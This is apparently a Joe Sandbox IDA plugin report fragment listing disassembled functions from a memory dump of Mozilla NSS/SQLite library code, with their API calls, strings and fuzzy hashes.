strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7342B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7342E4
malloc.MOZGLUE(00000002), ref: 6C7342FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734342
GetStdHandle.KERNEL32(000000F6), ref: 6C7343AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7343B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7343B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C734403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734410

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C73445E
CloseHandle.KERNEL32(?), ref: 6C73446B
free.MOZGLUE(?), ref: 6C734482
free.MOZGLUE(00000000), ref: 6C734492
free.MOZGLUE(00000000), ref: 6C7344A4
GetLastError.KERNEL32 ref: 6C7344B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7344BE
free.MOZGLUE(?), ref: 6C7344C7
free.MOZGLUE(00000000), ref: 6C7344D5
free.MOZGLUE(00000000), ref: 6C7344EA

Strings

=, xrefs: 6C7344F8
NSPR_INHERIT_FDS=, xrefs: 6C7341E9
D, xrefs: 6C734396

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction ID: 579c2f5583b281027ff6ee63af832ee69931d90075f31660887533df47b6b273
Opcode Fuzzy Hash: 1f8791532a2fbf2be6d995d452f74fdac6231be8da05ad4dfa77d5013b0ae60d
Instruction Fuzzy Hash: 9F02F571E043259BEB158F69CA847AEBFB4AF0A308F245178DC5DA7743D7329804DBA1

Function 6C646D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C74A8EC,0000006C), ref: 6C646DC6
memcpy.VCRUNTIME140(?,6C74A958,0000006C), ref: 6C646DDB
memcpy.VCRUNTIME140(?,6C74A9C4,00000078), ref: 6C646DF1
memcpy.VCRUNTIME140(?,6C74AA3C,0000006C), ref: 6C646E06
memcpy.VCRUNTIME140(?,6C74AAA8,00000060), ref: 6C646E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C646E38

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C646E76
TlsGetValue.KERNEL32 ref: 6C64726F
EnterCriticalSection.KERNEL32(?), ref: 6C647283

Strings

!, xrefs: 6C647123

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction ID: c24c9c60ea3e8779bbab2bef36d9d76f1fff47341798fffe0603e08a7d76e67d
Opcode Fuzzy Hash: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction Fuzzy Hash: 53728FB5D052189FDF60DF28CC88B9ABBB5AF49304F1481E9D80CA7711E731AA85CF95

Function 6C5B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B449C

Strings

%s at line %d of [%.10s], xrefs: 6C5B4495, 6C5B44F9, 6C5B459E, 6C5B4769, 6C5B4809
database corruption, xrefs: 6C5B4490, 6C5B44F4, 6C5B4599, 6C5B4764, 6C5B4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B4452, 6C5B4486, 6C5B44EA, 6C5B4571, 6C5B4580, 6C5B458F, 6C5B475A, 6C5B47FA

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction ID: f7c940f5e7bbd67cc119d5e568918492d9f399ee9cbd8efa3fb36e5367d14951
Opcode Fuzzy Hash: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction Fuzzy Hash: 7582D370A00205CFCB14CF69C9A0B9EBBB2BF49318F258569D905BBB51E731EC46CB91

Function 6C68AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C68ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C68ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C68ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C68AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C68ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADF0

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C68B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C68B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B40C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction ID: b92c5477451af3d64f5dd5c297153d2aa4136dfb3e47aa8a3edfdd60cf4922d4
Opcode Fuzzy Hash: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction Fuzzy Hash: 1B22BE70905300AFE710CF14CC45F9A77E1AF8530CF248968E9595B7A2E772E859CBAE

Function 6C5D1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5D25F3

Strings

%s.%s, xrefs: 6C5D2D68
H, xrefs: 6C5D322D
too many columns in result set, xrefs: 6C5D3012
too many references to "%s": max 65535, xrefs: 6C5D2FB6
recursive reference in a subquery: %s, xrefs: 6C5D22E5
table %s has %d values for %d columns, xrefs: 6C5D316C
cannot have both ON and USING clauses in the same join, xrefs: 6C5D32B5
no such table: %s, xrefs: 6C5D26AC
access to view "%s" prohibited, xrefs: 6C5D2F4A
'%s' is not a function, xrefs: 6C5D2FD2
no tables specified, xrefs: 6C5D26BE
cannot join using column %s - column not present in both tables, xrefs: 6C5D32AB
unsafe use of virtual table "%s", xrefs: 6C5D30D1
%s.%s.%s, xrefs: 6C5D302D
multiple recursive references: %s, xrefs: 6C5D22E0
H, xrefs: 6C5D329F
no such index: "%s", xrefs: 6C5D319D
a NATURAL join may not have an ON or USING clause, xrefs: 6C5D32C1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction ID: 8a0c7edfde49e86b849b208da1714c01430b67f905ea652e78676c39960c63ab
Opcode Fuzzy Hash: c8ec71d9a544f7a082973d462b6617471152e18d300d44941b6e6562136fe1be
Instruction Fuzzy Hash: 0FD25974E04309CFDB04CF99CC88A9DB7B1BF89308F2A85A9D855ABB51D731AC46CB54

Function 6C60ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60ED38

Part of subcall function 6C5A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C60EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C60EFE4

Part of subcall function 6C6CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F129
sqlite3_mprintf.NSS3(optimize), ref: 6C60F1D1
sqlite3_free.NSS3(?), ref: 6C60F368

Strings

fts3tokenize, xrefs: 6C60F30F
porter, xrefs: 6C60ED97
simple, xrefs: 6C60ED79
matchinfo, xrefs: 6C60F04F, 6C60F082, 6C60F0C2, 6C60F0F2, 6C60F124, 6C60F169
unicode61, xrefs: 6C60EDB5
snippet, xrefs: 6C60EF05, 6C60EF37, 6C60EF7C
fts3, xrefs: 6C60F247
offsets, xrefs: 6C60EFAF, 6C60EFDF, 6C60F01F
optimize, xrefs: 6C60F199, 6C60F1CC, 6C60F211
fts4, xrefs: 6C60F2AD
fts4aux, xrefs: 6C60ECF9
fts3_tokenizer, xrefs: 6C60EE1A, 6C60EEA8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction ID: ae8bb4decf5e5e8ed5155f1e745dcd33ea28aa3d15415e9f240dfbd6a4039f6b
Opcode Fuzzy Hash: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction Fuzzy Hash: 1B0223B1B043008BE7089E719E8533B36B5BBC6718F24453CD95AA7B41EB71E846C79B

Function 6C687C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C687C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C687D1E

Part of subcall function 6C687870: SECOID_FindOID_Util.NSS3(?,?,?,6C6891C5), ref: 6C68788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C687DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687E58

Part of subcall function 6C687870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6891C5), ref: 6C6878BB
Part of subcall function 6C687870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6891C5), ref: 6C6878FA
Part of subcall function 6C687870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687930
Part of subcall function 6C687870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687951
Part of subcall function 6C687870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C687964
Part of subcall function 6C687870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68797A
Part of subcall function 6C687870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C687988
Part of subcall function 6C687870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C687998
Part of subcall function 6C687870: free.MOZGLUE(00000000), ref: 6C6879A7
Part of subcall function 6C687870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C6879BB
Part of subcall function 6C687870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6891C5), ref: 6C6879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C687FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C687FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C688038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C688050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C688093
SECOID_FindOID_Util.NSS3 ref: 6C687F29

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C688072
SECOID_FindOID_Util.NSS3 ref: 6C6880F5

Part of subcall function 6C68BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C68800A,00000000,?,00000000,?), ref: 6C68BC3F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction ID: a74ffd2ed3120e0e8b6af002c0e91ee0b0d91106901cfa3f421a725b25c83acc
Opcode Fuzzy Hash: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction Fuzzy Hash: 91E1A27160A3009FD710CF28D880B5A77E5EF89308F14496DF99A9BB61E731EC45CB6A

Function 6C611C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C611C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C611C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C611CA1
GetLengthSid.ADVAPI32(?), ref: 6C611CA9
malloc.MOZGLUE(00000000), ref: 6C611CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C611CE4
GetLengthSid.ADVAPI32(?), ref: 6C611CEC
malloc.MOZGLUE(00000000), ref: 6C611CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611D0F
CloseHandle.KERNEL32(?), ref: 6C611D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C611D4D
GetLastError.KERNEL32 ref: 6C611D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C611D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C611D7A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction ID: c1cbfe8f6ad9678b0a6b652f199d52cf141d1220a21282ca8432bd16807d87c1
Opcode Fuzzy Hash: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction Fuzzy Hash: C03185B1A012289FEF11AF64CC48BAA7BB8FF4E306F014575F60892210EB305994CF69

Function 6C613D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C613DFB
__allrem.LIBCMT ref: 6C613EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C613FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C614047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6140DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C61415F
__allrem.LIBCMT ref: 6C61416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C614288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6142AB
__allrem.LIBCMT ref: 6C6142B7

Strings

%02d, xrefs: 6C614086
%03d, xrefs: 6C6142E8
%lld, xrefs: 6C613FB2
%04d, xrefs: 6C61407B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction ID: 74620101e0000a4782e3671954039febdd2773273c21826faa94baee6a23103c
Opcode Fuzzy Hash: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction Fuzzy Hash: 1FF14371A0C7409FD715CF3CC881BABB7F6AF86309F148A2DE48597A51EB70D8458B4A

Function 6C61EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EF63

Part of subcall function 6C6287D0: PORT_NewArena_Util.NSS3(00000800,6C61EF74,00000000), ref: 6C6287E8
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C61EF74,00000000), ref: 6C6287FD
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C61F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C61F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C61F374
PL_strcasecmp.NSS3(6C762FD4,?), ref: 6C61F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C61F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C61F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C61F67D
CERT_DestroyName.NSS3(?), ref: 6C61F68B

Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C628338
Part of subcall function 6C628320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C628364
Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C62838E
Part of subcall function 6C628320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6283A5
Part of subcall function 6C628320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6283E3

Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6284D9
Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C628528

Part of subcall function 6C628900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C628955

Strings

*, xrefs: 6C61F3C6
oid., xrefs: 6C61F2CF
", xrefs: 6C61F21B

Memory Dump Source

